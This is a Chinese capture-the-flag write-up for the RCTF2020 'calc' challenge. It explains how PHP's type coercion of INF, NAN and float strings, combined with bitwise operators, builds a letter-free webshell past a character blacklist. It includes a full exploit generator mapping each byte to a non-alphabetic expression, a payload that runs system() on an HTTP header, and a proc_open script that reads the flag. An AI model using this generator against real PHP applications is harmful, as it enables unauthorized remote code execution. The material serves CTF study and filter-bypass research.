从一道CTF题目中学习新的无字母webshell构造

 

前言

前几天的RCTF2020中,有一道web题calc考察的是构造无字母的shell,非常有学习意义,这里跟各位师傅分享一下。本人菜鸟一枚,文章中如有不对的地方,望各位师傅指出,勿喷~~~

 

题目分析

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
    $str = $_GET['num'];
    $blacklist = ['[a-z]', '[x7f-xff]', 's',"'", '"', '`', '[', ']','$', '_', '\\','^', ','];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/im', $str)) {
            die("what are you want to do?");
        }
    }
    @eval('echo '.$str.';');
}
?>

题目只允许使用以下字符:

! # % & ( ) * + - / 0 1 2 3 4 5 6 7 8 9 : ; < = > ? @   { | } ~

如何仅仅通过数字和一些可见字符,实现任意的php代码执行呢?这里运用到的,是关于.运算符的自动类型转换

 

关于点运算符的自动类型转换

我们来看下面的例子:

<?php
@var_dump(1.0);//float(1)
@var_dump((1).(0));//string(2) "10"
@var_dump(strval(1).strval(0));//string(2) "10"
?>

在第2行,如果我们没有对数字加括号,php解析器就会将其视为float类型数值。
在第3行,如果对数字加上括号,由于运算符优先级规则,此时就变成两个数字进行.运算,php解析器会把两个数字自动转换成string类型,效果相当于使用strval函数。

而且,该自动类型转换不仅仅限于数字,看下面的例子:

<?php
@var_dump(a.(100));//string(4) "a100"
@var_dump(a0a.(aaa));//string(6) "a0aaaa"
@var_dump(_.a_1);//string(4) "_a_1"
?>

可以看到,只要不是php中有特定功能的字符,都可以通过这种方法将其转换成string。显然,这是我们需要在解题中利用的点。
但问题又来了,题目过滤了字母和常用字符,我们应该如何构造它们呢?看下面的例子:

<?php
@var_dump((1/0).(0));//string(4) "INF0"
@var_dump((0/0).(0));//string(4) "NAN0"
@var_dump((9999999999*9999999999).(0));//string(16) "9.999999998E+190"
@var_dump((3333/4).(0));//string(7) "833.250"

@$N = (((1/0).(0)){0});//string(1) "I"
@$N = (((1/0).(0)){1});//string(1) "N"
@$N = (((1/0).(0)){2});//string(1) "F"
?>

我们这里利用NANINF等特殊的数值表示,通过.运算符将其转换成string。至于元素的提取,虽然题目过滤了[],但是php还支持使用{}获取ArrayString的元素。
通过这些特殊的数值表示,我们就有了一些初始字符,接下来就利用& | ~等没有被过滤的运算符,将需要的字符构造出来即可,这也是题目名calc的含义所在。

现在思路有了,接下来就愉快地拿flag吧!

 

做题过程

实现任意命令执行的方式有很多,我这里使用的是system(end(getallheaders())),然后在http包首部的最后添加任意键值,即可实现任意命令执行。(该思路借鉴于Y1ng师傅,已征得同意进行分享)

RCTF2020_Calc_1

运行根目录的/readflag,发现又是一道计算题,跟*ctf2019-mywebsql的一模一样,直接上脚本:

<?php
$d = array(
    0 => array("pipe", "r"),
    1 => array("pipe", "w"),
    2 => array("file", "/tmp/error.log", "a")
);

$cwd = "/";
$env = array();

$process = proc_open("/readflag", $d, $pipes, $cwd, $env);
if (is_resource($process))
{
    $d = fread($pipes[1], 1024);
    $d = fread($pipes[1], 1024);
    $d = explode("n", $d);
    eval("$result = $d[0];");
    eval("$result = $d[0];");
    fwrite($pipes[0] , "$resultn");
    var_dump(fread($pipes[1],1024));
    var_dump(fread($pipes[1],1024));
    var_dump(fread($pipes[1],1024));
    fclose($pipes[0]);
    fclose($pipes[1]);
    $r = proc_close($process);
    echo "result $rn";
}
?>

尝试上传文件,发现似乎没有写权限。将php代码进行base64编码,然后php -r执行即可拿到flag。

RCTF2020_calc_2

 

exp

这里分享一下exp给各位师傅,脚本中所有可见字符的计算式都已经构造出来,师傅们只要在104行的$payload中输入要构造的php代码即可。

<?php
error_reporting(0);
$_00 = '((0).(0)){0}&((0/0).(1)){1}';//0000 0000
$_10 = '((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))';//0001 0000
$_20 = '(((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1})';//0010 0000 space
$_21 = '(((1).(0)){0})&(((3333/4).(0)){3}|((9999999999*999999999).(0)){12})';//0010 0001 !
$_22 = '(((2).(0)){0})&(((3333/4).(0)){3}|((9999999999*999999999).(0)){12})';//0010 0010 "
$_23 = '(((3).(0)){0})&(((3333/4).(0)){3}|((9999999999*999999999).(0)){12})';//0010 0011 //
$_24 = '(((0/0).(1)){1}|((0).(4)){1})&(((3333/4).(0)){3})';//0010 0100 $
$_25 = '(((5).(0)){0})&(((3333/4).(0)){3}|((9999999999*999999999).(0)){12})';//0010 0101 %
$_26 = '(((6).(0)){0})&(((3333/4).(0)){3}|((9999999999*999999999).(0)){12})';//0010 0110 &
$_27 = '(((7).(0)){0})&(((3333/4).(0)){3}|((9999999999*999999999).(0)){12})';//0010 0111 '
$_28 = '(((8).(0)){0})&(((3333/4).(0)){3}|((9999999999*999999999).(0)){12})';//0010 1000 (
$_29 = '(((9).(0)){0})&(((3333/4).(0)){3}|((9999999999*999999999).(0)){12})';//0010 1001 )
$_2a = '((((8).(0)){0})&(((3333/4).(0)){3}|((9999999999*999999999).(0)){12}))|((((2).(0)){0})&(((3333/4).(0)){3}|((9999999999*999999999).(0)){12}))';//0010 1010 *
$_2b = '((9999999999*999999999).(0)){12}';//0010 1011 +
$_2c = '((((0/0).(1)){1}|((0).(4)){1})&(((3333/4).(0)){3}))|((((8).(0)){0})&(((3333/4).(0)){3}|((9999999999*999999999).(0)){12}))';//0010 1100 ,
$_2d = '((((0/0).(1)){1}|((0).(4)){1})&(((3333/4).(0)){3}))|((((9).(0)){0})&(((3333/4).(0)){3}|((9999999999*999999999).(0)){12}))';//0010 1101 -
$_2e = '((3333/4).(0)){3}';//0010 1110 .
$_2f = '((3333/4).(0)){3}|((9999999999*999999999).(0)){12}';//0010 1111 /
$_30 = '((0).(0)){0}';//0011 0000 0
$_31 = '((1).(0)){0}';//0011 0001 1
$_32 = '((2).(0)){0}';//0011 0010 2
$_33 = '((3).(0)){0}';//0011 0011 3
$_34 = '((4).(0)){0}';//0011 0100 4
$_35 = '((5).(0)){0}';//0011 0101 5
$_36 = '((6).(0)){0}';//0011 0110 6
$_37 = '((7).(0)){0}';//0011 0111 7
$_38 = '((8).(0)){0}';//0011 1000 8
$_39 = '((9).(0)){0}';//0011 1001 9
$_3a = '(((8).(0)){0})|(((2).(0)){0})';//0011 1010 :
$_3b = '(((8).(0)){0})|(((3).(0)){0})';//0011 1011 ;
$_3c = '(((8).(0)){0})|(((4).(0)){0})';//0011 1100 <
$_3d = '(((8).(0)){0})|(((5).(0)){0})';//0011 1101 =
$_3e = '(((8).(0)){0})|(((6).(0)){0})';//0011 1110 >
$_3f = '(((8).(0)){0})|(((7).(0)){0})';//0011 1111 ?
$_40 = '((0/0).(1)){1}&((0/0).(1)){0}';//0100 0000 @
$A = '((0/0).(1)){1}';//0100 0001 A
$B = '(((((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))&(((0/0).(1)){1}|((0).(2)){1}))&(((0/0).(1)){1}|((0/0).(1)){0}))';//0100 0010 B
$C = '((((0/0).(1)){1})|((((((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))&(((0/0).(1)){1}|((0).(2)){1}))&(((0/0).(1)){1}|((0/0).(1)){0}))))';//0100 0011 C
$D = '(((0/0).(1)){0}&((9999999999*999999999).(0)){11})';// 0100 0100 D
$E = '((9999999999*999999999).(0)){11}';//0100 0101 E
$F = '(((1/0).(0)){2})';//0100 0110 F
$G = '(((0/0).(1)){1})|(((1/0).(0)){2})';//0100 0111 G
$H = '((((1/0).(0)){0})&((0/0).(1)){0})';//0100 1000 H
$I = '(((1/0).(0)){0})';//0100 1001 I
$J = '((((((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))&(((0/0).(1)){1}|((0).(2)){1}))&(((0/0).(1)){1}|((0/0).(1)){0}))|(((((1/0).(0)){0})&((0/0).(1)){0})))';//0100 1010 J
$K = '(((((0/0).(1)){1})|((((((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))&(((0/0).(1)){1}|((0).(2)){1}))&(((0/0).(1)){1}|((0/0).(1)){0}))))|(((((1/0).(0)){0})&((0/0).(1)){0})))';//0100 1011 K
$L = '((((0/0).(1)){0}&((9999999999*999999999).(0)){11})|(((((1/0).(0)){0})&((0/0).(1)){0})))';//0100 1100 L
$M = '((((9999999999*999999999).(0)){11})|(((((1/0).(0)){0})&((0/0).(1)){0})))';//0100 1101 M
$N = '((0/0).(1)){0}';//0100 1110 N
$O = '((0/0).(1)){1}|((0/0).(1)){0}';//0100 1111 O
$P = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|((0/0).(1)){1}&((0/0).(1)){0})';//0101 0001 P
$Q = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|((0/0).(1)){1})';//0101 0001 Q
$R = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|(((((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))&(((0/0).(1)){1}|((0).(2)){1}))&(((0/0).(1)){1}|((0/0).(1)){0})))';//0101 0010 R
$S = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|((((0/0).(1)){1})|((((((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))&(((0/0).(1)){1}|((0).(2)){1}))&(((0/0).(1)){1}|((0/0).(1)){0})))))';//0101 0011 S
$T = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|(((0/0).(1)){0}&((9999999999*999999999).(0)){11}))';//0101 0100 T
$U = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|((9999999999*999999999).(0)){11})';//0101 0101 U 
$V = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|(((1/0).(0)){2}))';//0101 0110 V
$W = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|(((0/0).(1)){1})|(((1/0).(0)){2}))';//0101 0111 W
$X = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|((((1/0).(0)){0})&((0/0).(1)){0}))';//0101 1000 X
$Y = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|(((1/0).(0)){0}))';//0101 1001 Y
$Z = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|((((((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))&(((0/0).(1)){1}|((0).(2)){1}))&(((0/0).(1)){1}|((0/0).(1)){0}))|(((((1/0).(0)){0})&((0/0).(1)){0}))))';//0101 1010 Z
$_5b = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|(((((0/0).(1)){1})|((((((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))&(((0/0).(1)){1}|((0).(2)){1}))&(((0/0).(1)){1}|((0/0).(1)){0}))))|(((((1/0).(0)){0})&((0/0).(1)){0}))))';//0101 1011 [
$_5c = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|((((0/0).(1)){0}&((9999999999*999999999).(0)){11})|(((((1/0).(0)){0})&((0/0).(1)){0}))))';//0101 1100 
$_5d = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|((((9999999999*999999999).(0)){11})|(((((1/0).(0)){0})&((0/0).(1)){0}))))';//0101 1101 ]
$_5e = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|((0/0).(1)){0})';//0101 1110 ^
$_5f = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|((0/0).(1)){1}|((0/0).(1)){0})';//0101 1111 _
$_60 = '(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))';//0110 0000 `
$a = '(((0).(0)){0}|((0/0).(1)){1})&((3333/4).(0)){3}|((0/0).(1)){1}';//0110 0001 a
$b = '(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))&(((0/0).(1)){1}|((0).(2)){1})';//0110 0010 b
$c = '((((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))&(((0/0).(1)){1}|((0).(2)){1}))|((((0).(0)){0}|((0/0).(1)){1})&((3333/4).(0)){3}|((0/0).(1)){1})';//0110 0011 c
$d = '(((3333/4).(0)){3}|((0/0).(1)){1})&(((4).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0})))';//0110 0100 d
$e = '((((0).(0)){0}|((0/0).(1)){1})&((3333/4).(0)){3}|((0/0).(1)){1})|(((9999999999*999999999).(0)){11})';//0110 0101 e
$f = '(((6).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0})))&(((3333/4).(0)){3}|((0/0).(1)){1})';//0110 0110 f
$g = '(((0/0).(1)){1}|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})';//0110 0111 g
$h = '(((8).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0})))&(((3333/4).(0)){3}|((0/0).(1)){1})';//0110 1000 h
$i = '(((0/0).(1)){1}|((0).(9)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})';//0110 1001 i
$j = '(((9999999999*999999999).(0)){12}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))';//0110 1010 j
$k = '((9999999999*999999999).(0)){12}|((0/0).(1)){1}';//0110 1011 k
$l = '((((8).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0})))&(((3333/4).(0)){3}|((0/0).(1)){1}))|((((3333/4).(0)){3}|((0/0).(1)){1})&(((4).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))))';//0110 1100 l
$m = '((((8).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0})))&(((3333/4).(0)){3}|((0/0).(1)){1}))|(((((0).(0)){0}|((0/0).(1)){1})&((3333/4).(0)){3}|((0/0).(1)){1})|(((9999999999*999999999).(0)){11}))';//0110 1101 m
$n = '((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0})';//0110 1110 n
$o = '((3333/4).(0)){3}|((0/0).(1)){1}';//0110 1111 o
$p = '((0).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))';//0111 0000 p
$q = '((0).(0)){0}|((0/0).(1)){1}';//0111 0001 q
$r = '((2).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))';//0111 0010 r
$s = '((0/0).(1)){1}|((0).(2)){1}';//0111 0011
$t = '((4).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))';//0111 0100 t
$u = '((0/0).(1)){1}|((0).(4)){1}';//0111 0101
$v = '((6).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))';//0111 0110 v
$w = '((0/0).(1)){1}|((0).(6)){1}';//0111 0111
$x = '((8).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))';//0111 1000 x
$y = '((0/0).(1)){1}|((0).(9)){1}';//0111 1001
$z = '((((9999999999*999999999).(0)){12}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0})))|(((0).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0})))';//0111 1010 z
$_7b = '(((1/0).(0)){0}|(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))))&((4).(0)){0}';//0111 1011 {
$_7c = '(((((0/0).(1)){0}&((9999999999*999999999).(0)){11})|(((((1/0).(0)){0})&((0/0).(1)){0})))|((0).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0})))';//0111 1100 |
$_7d = '((1).(2)){1}|((1/0).(0)){0}';//0111 1101 }
$_7e = '(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0})|((0).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0})))';//0111 1110 ~
$_7f = '(((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1}';//0111 1111 7f
$_80 = '(((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~((~(((0/0).(1)){1}&((0/0).(1)){0}))|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&((~(((0/0).(1)){1}&((0/0).(1)){0}))|((0/0).(1)){1}))';//1000 0000
$_ff = '(~(((0/0).(1)){1}&((0/0).(1)){0}))|((0/0).(1)){1}';//1111 1111 ff

$payload = 'system(end(getallheaders()))';
$result = "";
$flag = True;
for($aa = 0;$aa < strlen($payload);$aa++){
    if(ord($payload[$aa])>=ord('a') && ord($payload[$aa])<=ord('z')){
        if($flag === True){
            $flag = False;
            $result .= "(";
        }
        $result .= "((${$payload[$aa]})).";
    }
    elseif($payload[$aa] === "(" or $payload[$aa] === ")"){
        if($flag === False){
            $result = substr($result, 0, strlen($result)-1) . ")";
            $flag = True;
        }
        if($result[strlen($result)-1] === "."){
            $result = substr($result, 0, strlen($result)-1) . $payload[$aa];
        }
        else{
            $result .= $payload[$aa];
        }
    }
    else{
        if($flag === False){
            $result = substr($result, 0, strlen($result)-1) . ")";
            $flag = True;
        }
        $tmp = "_".strval(dechex(ord($payload[$aa])));
        $result .= "((${$tmp})).";
    }
}
if ($result[strlen($result)-1] !== ")"){
    $result = substr($result, 0, strlen($result)-1);
}
$result .= ";";
echo urlencode($result);
?>
(完)